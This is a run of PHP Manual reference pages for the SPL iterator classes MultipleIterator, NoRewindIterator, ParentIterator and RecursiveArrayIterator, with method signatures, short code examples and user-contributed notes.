  • MultipleIterator::setFlags — Sets flags
  • MultipleIterator::valid — Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::valid
MultipleIterator::attachIterator
Iterators


Attaches iterator information

MultipleIterator
MultipleIterator::__construct
MultipleIterator
PHP Manual

MultipleIterator::attachIterator

(PHP 5 >= 5.3.0)

MultipleIterator::attachIterator — Attaches iterator information

Description

public void MultipleIterator::attachIterator ( Iterator $iterator [, string $infos ] )

Attaches iterator information.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The new iterator to attach.

infos

The associative information for the Iterator, which must be an integer, a string, or NULL.

Return Values

Description...

Errors/Exceptions

An IllegalValueException if the iterator parameter is invalid, or if infos is already associated information.

See Also

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

andresdzphp at php dot net 27-Sep-2011 11:14
<?php
$ait_id = new ArrayIterator(array('c1001', 'c1002', 'c1003'));
$ait_name = new ArrayIterator(array('apple', 'orange', 'banana'));
$ait_units = new ArrayIterator(array(756, 996, 2345));

$mit = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
$mit->attachIterator($ait_id, "ID");
$mit->attachIterator($ait_name, "NAME");
$mit->attachIterator($ait_units, "UNITS");

echo $mit->countIterators() . "\n"; //3

if ($mit->containsIterator($ait_id)) { //true
    echo "ait_id iterator attached \n";
}

foreach ($mit as $fruit) {
    echo "<pre>";
    print_r($fruit);
    echo "</pre>";
}
?>

Result:

3
ait_id iterator attached

Array
(
    [ID] => c1001
    [NAME] => apple
    [UNITS] => 756
)
Array
(
    [ID] => c1002
    [NAME] => orange
    [UNITS] => 996
)
Array
(
    [ID] => c1003
    [NAME] => banana
    [UNITS] => 2345
)
MultipleIterator
MultipleIterator::__construct
MultipleIterator


Constructs a new MultipleIterator

MultipleIterator::attachIterator
MultipleIterator::containsIterator
MultipleIterator
PHP Manual

MultipleIterator::__construct

(PHP 5 >= 5.3.0)

MultipleIterator::__construct — Constructs a new MultipleIterator

Description

public MultipleIterator::__construct() ([ int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC ] )

Construct a new MultipleIterator.

Parameters

flags

The flags to set, according to the Flag Constants.

  • MultipleIterator::MIT_NEED_ALL or MultipleIterator::MIT_NEED_ANY
  • MultipleIterator::MIT_KEYS_NUMERIC or MultipleIterator::MIT_KEYS_ASSOC

Defaults to MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC.

Return Values

No value is returned.

Examples

Example #1 Iterating a MultipleIterator

<?php
$people = new ArrayIterator(array('John', 'Jane', 'Jack', 'Judy'));
$roles  = new ArrayIterator(array('Developer', 'Scrum Master', 'Project Owner'));

$team = new MultipleIterator($flags);
$team->attachIterator($people, 'person');
$team->attachIterator($roles, 'role');

foreach ($team as $member) {
    print_r($member);
}
?>

Output with $flags = MIT_NEED_ALL|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)
Array
(
    [0] => Judy
    [1] =>
)

Output with $flags = MIT_NEED_ALL|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)
Array
(
    [person] => Judy
    [role] =>
)

See Also

  • Flag Constants
  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::attachIterator
MultipleIterator::containsIterator
MultipleIterator


Checks if an iterator is attached

MultipleIterator::__construct
MultipleIterator::countIterators
MultipleIterator
PHP Manual

MultipleIterator::containsIterator

(PHP 5 >= 5.3.0)

MultipleIterator::containsIterator — Checks if an iterator is attached

Description

public void MultipleIterator::containsIterator ( Iterator $iterator )

Checks if an iterator is attached or not.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator to check.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::__construct
MultipleIterator::countIterators
MultipleIterator


Gets the number of attached iterator instances

MultipleIterator::containsIterator
MultipleIterator::current
MultipleIterator
PHP Manual

MultipleIterator::countIterators

(PHP 5 >= 5.3.0)

MultipleIterator::countIterators — Gets the number of attached iterator instances

Description

public void MultipleIterator::countIterators ( void )

Gets the number of attached iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of attached iterator instances (as an integer).

See Also

  • MultipleIterator::containsIterator() - Checks if an iterator is attached

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::containsIterator
MultipleIterator::current
MultipleIterator


Gets the registered iterator instances

MultipleIterator::countIterators
MultipleIterator::detachIterator
MultipleIterator
PHP Manual

MultipleIterator::current

(PHP 5 >= 5.3.0)

MultipleIterator::current — Gets the registered iterator instances

Description

public void MultipleIterator::current ( void )

Get the registered iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of all registered iterator instances, or FALSE if no sub iterator is attached.

Errors/Exceptions

A RuntimeException if mode MIT_NEED_ALL is set and at least one attached iterator is not valid. Or an IllegalValueException if a key is NULL and MIT_KEYS_ASSOC is set.

See Also

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::countIterators
MultipleIterator::detachIterator
MultipleIterator


Detaches an iterator

MultipleIterator::current
MultipleIterator::getFlags
MultipleIterator
PHP Manual

MultipleIterator::detachIterator

(PHP 5 >= 5.3.0)

MultipleIterator::detachIterator — Detaches an iterator

Description

public void MultipleIterator::detachIterator ( Iterator $iterator )

Detaches an iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator to detach.

Return Values

No value is returned.

See Also

  • MultipleIterator::attachIterator() - Attaches iterator information

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::current
MultipleIterator::getFlags
MultipleIterator


Gets the flag information

MultipleIterator::detachIterator
MultipleIterator::key
MultipleIterator
PHP Manual

MultipleIterator::getFlags

(PHP 5 >= 5.3.0)

MultipleIterator::getFlags — Gets the flag information

Description

public void MultipleIterator::getFlags ( void )

Gets information about the flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Information about the flags, as an integer.

See Also

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::setFlags() - Sets flags

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::detachIterator
MultipleIterator::key
MultipleIterator


Gets the registered iterator instances

MultipleIterator::getFlags
MultipleIterator::next
MultipleIterator
PHP Manual

MultipleIterator::key

(PHP 5 >= 5.3.0)

MultipleIterator::key — Gets the registered iterator instances

Description

public void MultipleIterator::key ( void )

Get the registered iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of all registered iterator instances, or FALSE if no sub iterator is attached.

Errors/Exceptions

A LogicException if mode MIT_NEED_ALL is set, and at least one attached iterator is not valid.

See Also

  • MultipleIterator::current() - Gets the registered iterator instances

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::getFlags
MultipleIterator::next
MultipleIterator


Moves all attached iterator instances forward

MultipleIterator::key
MultipleIterator::rewind
MultipleIterator
PHP Manual

MultipleIterator::next

(PHP 5 >= 5.3.0)

MultipleIterator::next — Moves all attached iterator instances forward

Description

public void MultipleIterator::next ( void )

Moves all attached iterator instances forward.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • MultipleIterator::rewind() - Rewinds all attached iterator instances

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::key
MultipleIterator::rewind
MultipleIterator


Rewinds all attached iterator instances

MultipleIterator::next
MultipleIterator::setFlags
MultipleIterator
PHP Manual

MultipleIterator::rewind

(PHP 5 >= 5.3.0)

MultipleIterator::rewind — Rewinds all attached iterator instances

Description

public void MultipleIterator::rewind ( void )

Rewinds all attached iterator instances.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • MultipleIterator::next() - Moves all attached iterator instances forward

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::next
MultipleIterator::setFlags
MultipleIterator


Sets flags

MultipleIterator::rewind
MultipleIterator::valid
MultipleIterator
PHP Manual

MultipleIterator::setFlags

(PHP 5 >= 5.3.0)

MultipleIterator::setFlags — Sets flags

Description

public void MultipleIterator::setFlags ( int $flags )

Sets flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flags

The flags to set, according to the Flag Constants

Return Values

No value is returned.

See Also

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::getFlags() - Gets the flag information

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::rewind
MultipleIterator::valid
MultipleIterator


Checks the validity of sub iterators

MultipleIterator::setFlags
NoRewindIterator
MultipleIterator
PHP Manual

MultipleIterator::valid

(PHP 5 >= 5.3.0)

MultipleIterator::valid — Checks the validity of sub iterators

Description

public void MultipleIterator::valid ( void )

Checks the validity of sub iterators.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE if one or all sub iterators are valid depending on flags, otherwise FALSE

See Also

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::setFlags
NoRewindIterator
MultipleIterator


The NoRewindIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator cannot be rewinded.

Class synopsis

NoRewindIterator extends IteratorIterator {
/* Methods */
public __construct ( Iterator $iterator )
public mixed current ( void )
public iterator getInnerIterator ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public void IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • NoRewindIterator::__construct — Construct a NoRewindIterator
  • NoRewindIterator::current — Get the current value
  • NoRewindIterator::getInnerIterator — Get the inner iterator
  • NoRewindIterator::key — Get the current key
  • NoRewindIterator::next — Forward to the next element
  • NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator.
  • NoRewindIterator::valid — Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.
MultipleIterator::valid
NoRewindIterator::__construct
Iterators


Construct a NoRewindIterator

NoRewindIterator
NoRewindIterator::current
NoRewindIterator
PHP Manual

NoRewindIterator::__construct

(PHP 5 >= 5.1.0)

NoRewindIterator::__construct — Construct a NoRewindIterator

Description

public NoRewindIterator::__construct ( Iterator $iterator )

Constructs a NoRewindIterator.

Parameters

iterator

The iterator being used.

Return Values

A NoRewindIterator() based on the passed in iterator.

Examples

Example #1 NoRewindIterator::__construct() example

The second loop does not output because the iterator is only used once, as it does not rewind.

<?php
$fruit = array('apple', 'banana', 'cranberry');

$arr = new ArrayObject($fruit);
$it  = new NoRewindIterator($arr->getIterator());

echo "Fruit A:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}

echo "Fruit B:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}
?>

The above example will output something similar to:

Fruit A:
apple
banana
cranberry
Fruit B:

See Also

  • NoRewindIterator::valid() - Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator
NoRewindIterator::current
NoRewindIterator


Get the current value

NoRewindIterator::__construct
NoRewindIterator::getInnerIterator
NoRewindIterator
PHP Manual

NoRewindIterator::current

(PHP 5 >= 5.1.0)

NoRewindIterator::current — Get the current value

Description

public mixed NoRewindIterator::current ( void )

Gets the current value.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current value.

See Also

  • NoRewindIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::__construct
NoRewindIterator::getInnerIterator
NoRewindIterator


Get the inner iterator

NoRewindIterator::current
NoRewindIterator::key
NoRewindIterator
PHP Manual

NoRewindIterator::getInnerIterator

(PHP 5 >= 5.1.0)

NoRewindIterator::getInnerIterator — Get the inner iterator

Description

public iterator NoRewindIterator::getInnerIterator ( void )

Gets the inner iterator, that was passed in to NoRewindIterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The inner iterator, as passed to NoRewindIterator::__construct().

See Also

  • NoRewindIterator::valid() - Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::current
NoRewindIterator::key
NoRewindIterator


Get the current key

NoRewindIterator::getInnerIterator
NoRewindIterator::next
NoRewindIterator
PHP Manual

NoRewindIterator::key

(PHP 5 >= 5.1.0)

NoRewindIterator::key — Get the current key

Description

public mixed NoRewindIterator::key ( void )

Gets the current key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current key.

See Also

  • NoRewindIterator::next() - Forward to the next element

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::getInnerIterator
NoRewindIterator::next
NoRewindIterator


Forward to the next element

NoRewindIterator::key
NoRewindIterator::rewind
NoRewindIterator
PHP Manual

NoRewindIterator::next

(PHP 5 >= 5.1.0)

NoRewindIterator::next — Forward to the next element

Description

public void NoRewindIterator::next ( void )

Forwards to the next element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • NoRewindIterator::rewind() - Prevents the rewind operation on the inner iterator.

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::key
NoRewindIterator::rewind
NoRewindIterator


Prevents the rewind operation on the inner iterator.

NoRewindIterator::next
NoRewindIterator::valid
NoRewindIterator
PHP Manual

NoRewindIterator::rewind

(PHP 5 >= 5.1.0)

NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator.

Description

public void NoRewindIterator::rewind ( void )

Prevents the rewind operation on the inner iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 NoRewindIterator::rewind() example

This example demonstrates that calling rewind on a NoRewindIterator object has no effect.

<?php
$fruits = array("lemon", "orange", "apple", "pear");

$noRewindIterator = new NoRewindIterator(new ArrayIterator($fruits));

echo $noRewindIterator->current() . "\n";
$noRewindIterator->next();
// now rewind the iterator (nothing should happen)
$noRewindIterator->rewind();
echo $noRewindIterator->current() . "\n";
?>

The above example will output:

lemon
orange

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::next
NoRewindIterator::valid
NoRewindIterator


Validates the iterator

NoRewindIterator::rewind
ParentIterator
NoRewindIterator
PHP Manual

NoRewindIterator::valid

(PHP 5 >= 5.1.0)

NoRewindIterator::valid — Validates the iterator

Description

public bool NoRewindIterator::valid ( void )

Checks whether the iterator is valid.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • NoRewindIterator::getInnerIterator() - Get the inner iterator

User Contributed Notes

There are no user contributed notes for this page.
NoRewindIterator::rewind
ParentIterator
NoRewindIterator


The ParentIterator class

(PHP 5 >= 5.1.0)

Introduction

This extended FilterIterator allows a recursive iteration using RecursiveIteratorIterator that only shows those elements which have children.

Class synopsis

ParentIterator extends RecursiveFilterIterator implements RecursiveIterator , OuterIterator , Traversable , Iterator {
/* Methods */
public bool accept ( void )
public __construct ( RecursiveIterator $iterator )
public ParentIterator getChildren ( void )
public bool hasChildren ( void )
public void next ( void )
public void rewind ( void )
}

Table of Contents

  • ParentIterator::accept — Determines acceptability
  • ParentIterator::__construct — Constructs a ParentIterator
  • ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator
  • ParentIterator::hasChildren — Check whether the inner iterator's current element has children
  • ParentIterator::next — Move the iterator forward
  • ParentIterator::rewind — Rewind the iterator

User Contributed Notes

Anonymous 19-Dec-2011 07:55
ParentIterator is just a RecursiveFilterIterator whos accept() method calls the RecursiveFilterIterator->hasChildren() method to filter itself.

Basically, it filters out leaf nodes. For example

This would yield all files and directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
?>

wrapping that in a ParentIterator would filter it down to just directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
$dirsOnly = new ParentIterator($iter);
?>
NoRewindIterator::valid
ParentIterator::accept
Iterators


Determines acceptability

ParentIterator
ParentIterator::__construct
ParentIterator
PHP Manual

ParentIterator::accept

(PHP 5 >= 5.1.0)

ParentIterator::accept — Determines acceptability

Description

public bool ParentIterator::accept ( void )

Determines if the current element has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is acceptable, otherwise FALSE.

See Also

  • ParentIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator
ParentIterator::__construct
ParentIterator


Constructs a ParentIterator

ParentIterator::accept
ParentIterator::getChildren
ParentIterator
PHP Manual

ParentIterator::__construct

(PHP 5 >= 5.1.0)

ParentIterator::__construct — Constructs a ParentIterator

Description

public ParentIterator::__construct ( RecursiveIterator $iterator )

Constructs a ParentIterator on an iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator being constructed upon.

Return Values

The ParentIterator.

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator::accept
ParentIterator::getChildren
ParentIterator


Return the inner iterator's children contained in a ParentIterator

ParentIterator::__construct
ParentIterator::hasChildren
ParentIterator
PHP Manual

ParentIterator::getChildren

(PHP 5 >= 5.1.0)

ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator

Description

public ParentIterator ParentIterator::getChildren ( void )

Get the inner iterator's children contained in a ParentIterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An object.

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator::__construct
ParentIterator::hasChildren
ParentIterator


Check whether the inner iterator's current element has children

ParentIterator::getChildren
ParentIterator::next
ParentIterator
PHP Manual

ParentIterator::hasChildren

(PHP 5 >= 5.1.0)

ParentIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public bool ParentIterator::hasChildren ( void )

Check whether the inner iterator's current element has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator::getChildren
ParentIterator::next
ParentIterator


Move the iterator forward

ParentIterator::hasChildren
ParentIterator::rewind
ParentIterator
PHP Manual

ParentIterator::next

(PHP 5 >= 5.1.0)

ParentIterator::next — Move the iterator forward

Description

public void ParentIterator::next ( void )

Moves the iterator forward.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator::hasChildren
ParentIterator::rewind
ParentIterator


Rewind the iterator

ParentIterator::next
RecursiveArrayIterator
ParentIterator
PHP Manual

ParentIterator::rewind

(PHP 5 >= 5.1.0)

ParentIterator::rewind — Rewind the iterator

Description

public void ParentIterator::rewind ( void )

Rewinds the iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ParentIterator::next
RecursiveArrayIterator
ParentIterator


The RecursiveArrayIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator allows to unset and modify values and keys while iterating over Arrays and Objects in the same way as the ArrayIterator. Additionally it is possible to iterate over the current iterator entry.

Class synopsis

RecursiveArrayIterator extends ArrayIterator implements RecursiveIterator {
/* Methods */
public RecursiveArrayIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherits */
public void ArrayIterator::append ( mixed $value )
public void ArrayIterator::asort ( void )
public ArrayIterator::__construct ( mixed $array )
public int ArrayIterator::count ( void )
public mixed ArrayIterator::current ( void )
public array ArrayIterator::getArrayCopy ( void )
public void ArrayIterator::getFlags ( void )
public mixed ArrayIterator::key ( void )
public void ArrayIterator::ksort ( void )
public void ArrayIterator::natcasesort ( void )
public void ArrayIterator::natsort ( void )
public void ArrayIterator::next ( void )
public void ArrayIterator::offsetExists ( string $index )
public mixed ArrayIterator::offsetGet ( string $index )
public void ArrayIterator::offsetSet ( string $index , string $newval )
public void ArrayIterator::offsetUnset ( string $index )
public void ArrayIterator::rewind ( void )
public void ArrayIterator::seek ( int $position )
public string ArrayIterator::serialize ( void )
public void ArrayIterator::setFlags ( string $flags )
public void ArrayIterator::uasort ( string $cmp_function )
public void ArrayIterator::uksort ( string $cmp_function )
public string ArrayIterator::unserialize ( string $serialized )
public bool ArrayIterator::valid ( void )
}

Table of Contents

  • RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object.
  • RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object.

User Contributed Notes

c dot 1 at smithies dot org 15-Nov-2011 10:29
If you are iterating over a multi-dimensional array of objects, you may be tempted to use a RecursiveArrayIterator within a RecursiveIteratorIterator. You are likely to get baffling results if you do. That is because RecursiveArrayIterator treats all objects as having children, and tries to recurse into them. But if you are interested in having your RecursiveIteratorIterator return the objects in your multi-dimensional array, then you don't want the default setting LEAVES_ONLY, because no object can be a leaf (= has no children).

The solution is to extend the RecursiveArrayIterator class and override the hasChildren method appropriately. Something like the following might be suitable:

<?php
class RecursiveArrayOnlyIterator extends RecursiveArrayIterator {
  public function hasChildren() {
    return is_array($this->current());
  }
}
?>
Of course, this simple example will not recurse into ArrayObjects either!
mccarthy dot richard at gmail dot com 22-Feb-2011 07:23
Using the RecursiveArrayIterator to traverse an unknown amount of sub arrays within the outer array. Note: This functionality is already provided by using the RecursiveIteratorIterator but is useful in understanding how to use the iterator when using for the first time as all the terminology does get rather confusing at first sight of SPL!

<?php
$myArray = array(
    0 => 'a',
    1 => array('subA','subB',array(0 => 'subsubA', 1 => 'subsubB', 2 => array(0 => 'deepA', 1 => 'deepB'))),
    2 => 'b',
    3 => array('subA','subB','subC'),
    4 => 'c'
);

$iterator = new RecursiveArrayIterator($myArray);
iterator_apply($iterator, 'traverseStructure', array($iterator));

function traverseStructure($iterator) {

    while ( $iterator -> valid() ) {

        if ( $iterator -> hasChildren() ) {

            traverseStructure($iterator -> getChildren());

        }
        else {
            echo $iterator -> key() . ' : ' . $iterator -> current() .PHP_EOL;
        }

        $iterator -> next();
    }
}
?>

The output from which is:
0 : a
0 : subA
1 : subB
0 : subsubA
1 : subsubB
0 : deepA
1 : deepB
2 : b
0 : subA
1 : subB
2 : subC
4 : c
ParentIterator::rewind
RecursiveArrayIterator::getChildren
Iterators


Returns an iterator for the current entry if it is an array or an object.

RecursiveArrayIterator
RecursiveArrayIterator::hasChildren
RecursiveArrayIterator
PHP Manual

RecursiveArrayIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object.

Description

public RecursiveArrayIterator RecursiveArrayIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry, if it is an array or object.

Errors/Exceptions

An InvalidArgumentException will be thrown if the current entry does not contain an array or an object.

Examples

Example #1 RecursiveArrayIterator::getChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    if ($iterator->hasChildren()) {
        // print all children
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

The above example will output:

No children.
No children.
a : apple
p : pear

See Also

  • RecursiveArrayIterator::hasChildren() - Returns whether current entry is an array or an object.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveArrayIterator
RecursiveArrayIterator::hasChildren
RecursiveArrayIterator


Returns whether current entry is an array or an object.

RecursiveArrayIterator::getChildren
RecursiveCachingIterator
RecursiveArrayIterator
PHP Manual

RecursiveArrayIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object.

Description

public bool RecursiveArrayIterator::hasChildren ( void )

Returns whether current entry is an array or an object for which an iterator can be obtained via RecursiveArrayIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry is an array or an object, otherwise FALSE is returned.

Examples

Example #1 RecursiveArrayIterator::hasChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    // Check if there are children
    if ($iterator->hasChildren()) {
        // print all children
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

The above example will output:

No children.
No children.
a : apple
p : pear

See Also

  • RecursiveArrayIterator::getChildren() - Returns an iterator for the current entry if it is an array or an object.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveArrayIterator::getChildren
RecursiveCachingIterator
RecursiveArrayIterator


The RecursiveCachingIterator class

(PHP 5 >= 5.1.0)

Introduction

...

Class synopsis

RecursiveCachingIterator extends CachingIterator implements Countable , ArrayAccess , Iterator , Traversable , OuterIterator , RecursiveIterator {
/* Methods */
__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
RecursiveCachingIterator getChildren ( void )
bool hasChildren ( void )
/* Inherits */
public CachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
public int CachingIterator::count ( void )
public void CachingIterator::current ( void )
public void CachingIterator::getCache ( void )
public void CachingIterator::getFlags ( void )
public void CachingIterator::getInnerIterator ( void )
public void CachingIterator::hasNext ( void )
public void CachingIterator::key ( void )
public void CachingIterator::next ( void )
public void CachingIterator::offsetExists ( string $index )
public void CachingIterator::offsetGet ( string $index )
public void CachingIterator::offsetSet ( string $index , string $newval )
public void CachingIterator::offsetUnset ( string $index )
public void CachingIterator::rewind ( void )
public void CachingIterator::setFlags ( bitmask $flags )
public void CachingIterator::__toString ( void )
public void CachingIterator::valid ( void )
}

Table of Contents

  • RecursiveCachingIterator::__construct — Construct
  • RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator
  • RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

User Contributed Notes

There are no user contributed notes for this page.
RecursiveArrayIterator::hasChildren
RecursiveCachingIterator::__construct
Iterators


Construct

RecursiveCachingIterator
RecursiveCachingIterator::getChildren
RecursiveCachingIterator
PHP Manual

RecursiveCachingIterator::__construct

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::__construct — Construct

Description

RecursiveCachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )

Constructs a new RecursiveCachingIterator, which consists of a passed in iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator being used.

flags

The flags. Use CALL_TOSTRING to call RecursiveCachingIterator::__toString() for every element (the default), and/or CATCH_GET_CHILD to catch exceptions when trying to get children.

Return Values

The RecursiveCachingIterator.

See Also

  • CachingIterator::__construct() - Construct a new CachingIterator object for the iterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCachingIterator
RecursiveCachingIterator::getChildren
RecursiveCachingIterator


Return the inner iterator's children as a RecursiveCachingIterator

RecursiveCachingIterator::__construct
RecursiveCachingIterator::hasChildren
RecursiveCachingIterator
PHP Manual

RecursiveCachingIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator

Description

RecursiveCachingIterator RecursiveCachingIterator::getChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The inner iterator's children, as a RecursiveCachingIterator.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCachingIterator::__construct
RecursiveCachingIterator::hasChildren
RecursiveCachingIterator


Check whether the current element of the inner iterator has children

RecursiveCachingIterator::getChildren
RecursiveCallbackFilterIterator
RecursiveCachingIterator
PHP Manual

RecursiveCachingIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

Description

bool RecursiveCachingIterator::hasChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the inner iterator has children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCachingIterator::getChildren
RecursiveCallbackFilterIterator
RecursiveCachingIterator


The RecursiveCallbackFilterIterator class

(PHP 5 >= 5.4.0)

Introduction

Class synopsis

RecursiveCallbackFilterIterator extends CallbackFilterIterator implements OuterIterator , Traversable , Iterator , RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator , string $callback )
public RecursiveCallbackFilterIterator getChildren ( void )
public void hasChildren ( void )
/* Inherited methods */
